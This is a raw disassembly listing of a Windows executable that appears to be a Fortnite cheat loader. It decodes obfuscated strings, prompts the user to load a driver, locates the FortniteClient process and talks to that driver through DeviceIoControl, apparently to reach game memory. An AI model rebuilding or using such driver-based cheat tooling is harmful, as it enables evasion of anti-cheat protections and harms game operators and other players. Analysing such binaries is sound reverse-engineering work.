jmp 0x14004cc90
sub r11b, 0x18
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r12d, [r10 + r11]
sub r12b, 0x58
mov qword [rsp + 0x48], r12
jmp 0x14004cc80
lea rdx, [rbp + 0x17ef799]
jmp 0x14004d734
lea rdx, [rbp + 0xb9c1a2]
jmp 0x14004d734
lea rdx, [rbp + 0x640]
mov rcx, r14
call fcn.140002380
mov edx, 7
mov rcx, qword [0x140174dc0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r14, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rbp + 0x570], 0x817d
xor eax, eax
mov qword [rbp + 0x572], rax
mov dword [rbp + 0x57a], eax
mov word [rbp + 0x57e], ax
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [0x140175488]
mov r8, qword [0x140175490]
nop
xor r11d, r11d
cmp r11, 0x10
jae 0x14004e274
movzx r10d, byte [rbp + r11 + 0x570]
mov rdi, r10
nop dword [rax]
cmp r9, r11
ja 0x14004e26b
lea rax, [r8 + 8]
cmp r9, rax
jae 0x14004d7ea
movabs rcx, 0x1b476f8554d232e2
add rcx, r11
mov rax, rcx
and rax, r10
imul r13, rax, 0xfffffffffffffffe
add r13, rcx
add r13, r10
sub r13b, 0x2e
mov qword [rsp + 0x50], r13
jmp 0x14004d820
lea rax, [r8 + 1]
cmp r9, rax
je 0x14004e1de
lea rax, [r8 + 2]
cmp r9, rax
je 0x14004e15d
lea rax, [r8 + 3]
cmp r9, rax
je 0x14004e11b
lea rax, [r8 + 4]
cmp r9, rax
je 0x14004e0c8
nop
cmp r8, r11
ja 0x14004e262
lea rax, [r8 + 8]
cmp r9, rax
jae 0x14004d840
lea edx, [r11 + 0x3e]
mov ecx, Ordinal_41
jmp 0x14004da57
lea rax, [r8 + 1]
cmp r9, rax
je 0x14004e0ba
lea rax, [r8 + 2]
cmp r9, rax
je 0x14004e093
lea rax, [r8 + 3]
cmp r9, rax
je 0x14004e04a
lea rax, [r8 + 4]
cmp r9, rax
je 0x14004e02e
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x14004ddf2
nop dword [rax]
lea rax, [r8 + 8]
cmp r9, rax
je 0x14004ddd4
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x14004ddab
lea rax, [r8 + 2]
cmp r9, rax
je 0x14004dd85
lea rax, [r8 + 4]
cmp r9, rax
je 0x14004dd67
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x14004dd4a
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x14004dd2f
lea rax, [r8 + 1]
cmp r9, rax
je 0x14004dd14
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x14004dcf9
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x14004dcde
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x14004d890
lea r9, [r8 + 0x64]
lea r8, [r9 + 0x80]
lea rax, [r8 + 9]
cmp r9, rax
jb 0x14004e23c
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14004e21a
lea rax, [r8 + 3]
cmp r9, rax
jb 0x14004da93
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14004da73
lea rax, [r8 + 8]
cmp r9, rax
jb 0x14004da4e
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x14004dc48
lea rax, [r8 + 2]
cmp r9, rax
jb 0x14004dc3d
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x14004dbf5
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x14004dbca
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x14004d890
lea r9, [r8 + 0x80]
lea r8, [r9 + 0x200]
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x14004dbaf
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x14004db94
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x14004db79
lea rax, [r8 + 6]
cmp r9, rax
ja 0x14004db5e
lea rax, [r8 + 9]
cmp r9, rax
ja 0x14004db40
lea rax, [r8 + 1]
cmp r9, rax
ja 0x14004db21
lea rax, [r8 + 3]
cmp r9, rax
ja 0x14004dafb
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x14004dad2
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x14004dab3
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x14004d890
lea r9, [r8 + 0x200]
lea r8, [r9 + 0x3e8]
jmp 0x14004d890
lea edx, [r11 - 0x70]
mov ecx, 8
movzx eax, dl
and al, r10b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r10b
mov qword [rsp + 0x50], r13
jmp 0x14004d880
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x16
mov qword [rsp + 0x50], r13
jmp 0x14004d820
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x3c
mov qword [rsp + 0x50], r13
jmp 0x14004d7a6
lea ecx, [r11 + 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x49
movzx edi, r11b
jmp 0x14004e0e6
lea ecx, [r11 + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x6f
inc r8
dec r11
mov qword [rsp + 0x50], r13
inc r11
jmp 0x14004d793
lea ecx, [r11 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
add r13b, 0x6b
dec r11
mov qword [rsp + 0x50], r13
inc r11
jmp 0x14004d793
lea ecx, [r11 - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
add r13b, 0x45
movzx edi, r11b
jmp 0x14004e067
lea ecx, [r11 - 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
add r13b, 0x1f
add r9, r8
jmp 0x14004e13f
lea ecx, [r11 + 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 7
jmp 0x14004e13f
lea ecx, [r11 + 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x2d
jmp 0x14004e183
lea ecx, [r11 + 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x53
jmp 0x14004e1ae
lea ecx, [r11 + 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x79
jmp 0x14004e1fe
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x58
mov qword [rsp + 0x50], r13
mov byte [rbp + r11 + 0x570], r13b
inc r11
jmp 0x14004d793
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x7e
mov qword [rsp + 0x50], r13
cmp r8, 0x200
jb 0x14004dbe5
movzx edi, r11b
lea edx, [rdi - 0x67]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r13d, [rcx*2 - 0x5e]
jmp 0x14004e0e6
lea edx, [r11 + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14004dc8f
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r10b
mov qword [rsp + 0x50], r13
lea rax, [r8 + r9]
cmp rax, 0x64
je 0x14004e007
lea rax, [r8 + 0x80]
cmp r9, rax
jbe 0x14004deb8
lea edx, [r11 - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
movzx eax, dl
and al, r10b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r10b
mov qword [rsp + 0x50], r13
cmp r9, 0x80
jae 0x14004dfe3
lea rax, [r8 + 0x200]
cmp r9, rax
jbe 0x14004df67
lea ecx, [r11 + 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
add r13b, 0x55
jmp 0x14004dc0b
lea ecx, [r11 - 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x67
jmp 0x14004e1fe
lea ecx, [r11 - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
add r13b, 0x73
jmp 0x14004e1ae
lea ecx, [r11 - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
add r13b, 0x4d
jmp 0x14004e183
lea ecx, [r11 + 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
add r13b, 0x27
jmp 0x14004e13f
lea ecx, [r11 + 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
inc r13b
add r9, r8
jmp 0x14004e13f
movzx edi, r11b
lea ecx, [rdi + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x25
jmp 0x14004e067
lea ecx, [r11 - 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x4b
dec r11
mov qword [rsp + 0x50], r13
inc r11
jmp 0x14004d793
lea ecx, [r11 - 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x71
inc r8
dec r11
mov qword [rsp + 0x50], r13
inc r11
jmp 0x14004d793
movzx edi, r11b
lea ecx, [rdi - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
add r13b, 0x69
jmp 0x14004e0e6
lea rax, [r8 + 8]
cmp r9, rax
jae 0x14004de16
lea ecx, [r11 - 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x6d
jmp 0x14004dc63
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14004de3a
lea ecx, [r11 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
add r13b, 0x5d
jmp 0x14004e1fe
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14004de5e
lea ecx, [r11 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x31
jmp 0x14004e13f
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14004de8d
lea ecx, [r11 - 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
add r13b, 0x41
dec r11
mov qword [rsp + 0x50], r13
inc r11
jmp 0x14004d793
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14004dc68
movzx edi, r11b
lea ecx, [rdi + 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x73
jmp 0x14004e0e6
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14004dee4
movzx edi, r11b
lea edx, [rdi - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r10b
jmp 0x14004e0e6
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14004df13
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x48
dec r11
mov qword [rsp + 0x50], r13
inc r11
jmp 0x14004d793
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14004df3a
movzx edi, r11b
lea ecx, [rdi + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x22
jmp 0x14004e067
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14004dca6
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r10b
jmp 0x14004e183
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14004df8b
lea ecx, [r11 + 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
add r13b, 0x7b
jmp 0x14004e1fe
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14004dfaf
lea ecx, [r11 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x39
jmp 0x14004e183
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14004dc10
lea ecx, [r11 + 0x17]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
add r13b, 0x5f
dec r11
mov qword [rsp + 0x50], r13
inc r11
jmp 0x14004d793
movzx edi, r11b
lea edx, [rdi + 0x6f]
movzx eax, r10b
and al, dl
add al, al
movzx r13d, byte [rbp + r11 + 0x570]
sub r13b, al
sub r13b, 9
add r13b, r10b
jmp 0x14004e064
lea edx, [r11 + 0x45]
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
sub r13b, byte [rbp + r11 + 0x570]
add r13b, 0x1d
add r13b, dl
jmp 0x14004e183
lea ecx, [r11 - 0x3c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
sub r13b, 0x5c
jmp 0x14004e1fe
movzx edi, r11b
lea edx, [rdi - 0x6a]
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
sub r13b, 0x1a
add r13b, dl
add dil, 0x5a
movzx eax, r10b
and al, dil
add al, al
movzx ecx, r13b
sub cl, al
sub cl, 0x76
add cl, r10b
add cl, dil
mov byte [rbp + r11 + 0x570], cl
add r9, r8
jmp 0x14004e13f
lea ecx, [r11 - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
sub r13b, 0x40
dec r11
mov qword [rsp + 0x50], r13
inc r11
jmp 0x14004d793
movzx edi, r11b
lea edx, [rdi + 0x14]
mov ecx, Ordinal_60
jmp 0x14004e0d4
movzx edi, r11b
lea edx, [rdi + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, r10b
and al, dl
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r10b
add r13b, dl
sub dil, 0x7c
movzx eax, r10b
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
mov byte [rbp + r11 + 0x570], cl
inc r8
dec r11
mov qword [rsp + 0x50], r13
inc r11
jmp 0x14004d793
movabs rdx, 0x3bf828aedff0fa3a
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, gethostname
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dil
add r13b, dl
movzx eax, r13b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
mov qword [rsp + 0x50], r13
inc r11
jmp 0x14004d793
movabs rcx, 0xb3cbfa647d294864
add rcx, r11
movzx r10d, dil
and dil, cl
mov eax, Ordinal_35
sub al, dil
lea r13d, [rax + rax]
add r13b, r10b
add r13b, cl
lea edx, [r11 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x50
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x570], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x1b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x43
add r10b, cl
mov byte [rbp + r11 + 0x570], r10b
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add r11, rax
jmp 0x14004e1fe
movabs rcx, 0xa3739dcfb799e4b8
add rcx, r11
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r13d, [rcx + rdi]
sub r13b, 8
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
mov qword [rsp + 0x50], r13
inc r11
jmp 0x14004d793
add r11b, 0xe
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r13d, [r11 + r10]
sub r13b, 0x62
mov qword [rsp + 0x50], r13
jmp 0x14004d790
add r11b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r10b
add r13b, r11b
mov qword [rsp + 0x50], r13
jmp 0x14004d780
lea rdx, [rbp + 0x1441d4b]
jmp 0x14004e27b
lea rdx, [rbp + 0xe7f636]
jmp 0x14004e27b
lea rdx, [rbp + 0x570]
mov rcx, r14
call fcn.140002380
mov edx, 7
mov rcx, qword [0x140174dc0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._Enter_Input
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002380
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, ntohl
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140120f58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002380
mov edx, 7
mov rcx, qword [0x140174dc0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x14011fd48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002380
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, ntohl
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x590], 0
mov qword [rbp + 0x598], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x580], 0
lea rdx, [rbp + 0x580]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140001ee0
lea rcx, [rbp + 0x580]
mov rsi, qword [rbp + 0x580]
mov r14, qword [rbp + 0x598]
cmp r14, 0xf
cmova rcx, rsi
mov rdi, qword [rbp + 0x590]
cmp rdi, 1
jne 0x14004e596
mov r8, rdi
lea rdx, [0x1401012c0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14004e596
lea rcx, [0x140120798]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._Loading_Driver_now.
call fcn.14000d650
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140043c50
lea rcx, [0x140120798]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str._Driver_is
call fcn.14000d650
mov edx, 0xa
mov rcx, qword [0x140174dc0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x740], xmm0
xor esi, esi
mov qword [rbp + 0x750], rsi
mov qword [rbp + 0x758], rsi
mov r8d, 7
lea rdx, str._Loaded
lea rcx, [rbp + 0x740]
call fcn.1400027a0
nop
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0xa70]
call fcn.140006170
mov dword [rbp + 0xa90], reloc.WLDAP32.dll_Ordinal_50
lea rdx, [rbp + 0xa70]
mov rcx, rdi
call fcn.140009160
nop
lea rcx, [rbp + 0xa70]
call fcn.140008190
nop
mov r8, qword [rbp + 0x758]
cmp r8, 0xf
jbe 0x14004e485
mov rdx, qword [rbp + 0x740]
lea rcx, [rbp + 0x740]
call fcn.14003dbe0
mov qword [rbp + 0x750], rsi
mov qword [rbp + 0x758], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x740], 0
mov edx, 7
mov rcx, qword [0x140174dc0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x760], xmm0
mov qword [rbp + 0x770], rsi
mov qword [rbp + 0x778], rsi
mov r8d, 1
lea rdx, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0x760]
call fcn.1400027a0
nop
lea rdx, [rbp + 0x760]
lea rcx, [rbp + 0xa98]
call fcn.140006170
mov dword [rbp + 0xab8], reloc.WLDAP32.dll_Ordinal_50
lea rdx, [rbp + 0xa98]
mov rcx, rdi
call fcn.140009160
nop
lea rcx, [rbp + 0xa98]
call fcn.140008190
nop
mov r8, qword [rbp + 0x778]
cmp r8, 0xf
jbe 0x14004e543
mov rdx, qword [rbp + 0x760]
lea rcx, [rbp + 0x760]
call fcn.14003dbe0
xor edi, edi
mov qword [rbp + 0x770], rdi
mov qword [rbp + 0x778], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x760], dil
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov r8, qword [rbp + 0x598]
cmp r8, 0xf
jbe 0x14004e58a
mov rdx, qword [rbp + 0x580]
lea rcx, [rbp + 0x580]
call fcn.14003dbe0
mov byte [rbp + 0x580], 0
jmp 0x140050c67
lea rcx, [rbp + 0x580]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, 1
jne 0x14004ebba
mov r8, rdi
lea rdx, [0x1401012c4]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14004ebba
call fcn.140001c10
lea rcx, [0x140120798]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x840], xmm0
xor esi, esi
mov qword [rbp + 0x850], rsi
mov qword [rbp + 0x858], rsi
mov r8d, gethostname
lea rdx, str._1____Please_open___FortniteClient_Win64_Shipping.exe
lea rcx, [rbp + 0x840]
call fcn.1400027a0
nop
lea rcx, [rbp + 0x840]
call fcn.140022e50
nop
lea rcx, [rbp + 0x840]
call fcn.140008190
call fcn.140040a00
call fcn.140040a00
test al, al
je 0x140050d0a
movzx eax, word [0x140120c34]
mov word [rbp - 0x80], ax
cmp byte [0x140120c35], sil
je 0x14004e653
mov byte [rbp - 0x80], 0xa
xor byte [rbp - 0x7f], 0x36
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002380
lea rdx, [0x140004db0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop dword [rax]
nop word [rax + rax]
lea rdx, str.Fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14004e680
lea rcx, [0x140120798]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x880], xmm0
mov qword [rbp + 0x890], rsi
mov qword [rbp + 0x898], rsi
mov r8d, 5
lea rdx, str.GREEN
lea rcx, [rbp + 0x880]
call fcn.1400027a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov qword [rbp + 0x870], rsi
mov qword [rbp + 0x878], rsi
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.Found_fortnite___n
lea rcx, [rbp + 0x860]
call fcn.1400027a0
nop
mov byte [rsp + 0x20], 1
xor r9d, r9d
lea r8, [rbp + 0x880]
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0xb50]
call fcn.14003c440
nop
lea rcx, [rbp + 0x860]
call fcn.140008190
nop
lea rcx, [rbp + 0x880]
call fcn.140008190
xorps xmm0, xmm0
movups xmmword [rbp + 0x8c0], xmm0
mov qword [rbp + 0x8d0], rsi
mov qword [rbp + 0x8d8], rsi
mov r8d, 5
lea rdx, str.GREEN
lea rcx, [rbp + 0x8c0]
call fcn.1400027a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x8a0], xmm0
mov qword [rbp + 0x8b0], rsi
mov qword [rbp + 0x8b8], rsi
mov r8d, reloc.WLDAP32.dll_Ordinal_30
lea rdx, str.Press_F1__In_Lobby__to_Load___n
lea rcx, [rbp + 0x8a0]
call fcn.1400027a0
nop
mov byte [rsp + 0x20], 1
xor r9d, r9d
lea r8, [rbp + 0x8c0]
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp + 0xb50]
call fcn.14003c440
nop
lea rcx, [rbp + 0x8a0]
call fcn.140008190
nop
lea rcx, [rbp + 0x8c0]
call fcn.140008190
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14004e857
mov r12d, 0xff
movabs r13, 0x7fffffffffffffff
lea rcx, [rbp + 8]
call fcn.1400445f0
mov rax, qword [rbp + 8]
mov qword [rbp - 0x70], rax
cmp rax, rbx
je 0x14004e830
mov ecx, 1
cmovl ecx, r12d
test cl, cl
jns 0x14004e830
add rax, 0x5f5e100
mov qword [rbp - 0x70], rax
jmp 0x14004e834
mov qword [rbp - 0x70], r13
lea rcx, [rbp - 0x70]
call fcn.140005270
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14004e801
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x50]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140120798]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
mov dword [rbp + 0xc00], 0x130
lea rdx, [rbp + 0xc00]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14004e8cf
nop dword [rax + rax]
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp + 0xc2c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rdi
test eax, eax
je 0x14004ec7a
lea rdx, [rbp + 0xc00]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14004e8a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov dword [0x140174c60], eax
mov ecx, 1
call fcn.1400fa488
mov qword [rbp + 0x80], rax
lea rcx, [rbp - 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x140003710]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x140050f8d
mov qword [rbp + 0x80], rsi
cmp dword [rbp - 0x48], 0
je 0x140050fc1
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140050fc1
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x10], rsi
mov dword [rbp + 0x118], 0x85b2b70
mov eax, dword [0x140174c60]
mov dword [rbp + 0x11c], eax
lea rax, [rbp - 0x10]
mov qword [rbp + 0x120], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x118]
mov edx, 0x2244dc
mov rcx, qword [0x140174c58]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rbp - 0x10]
mov qword [0x140174c48], rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x140174c6c], eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x140174c70], eax
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movsd xmm0, qword [0x140120c68]
movsd qword [rbp + 0x630], xmm0
mov eax, dword [0x140120c70]
mov dword [rbp + 0x638], eax
cmp byte [0x140120c73], 0
je 0x14004eb2e
mov ecx, esi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14004eae9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
movd xmm0, dword [0x140120c68]
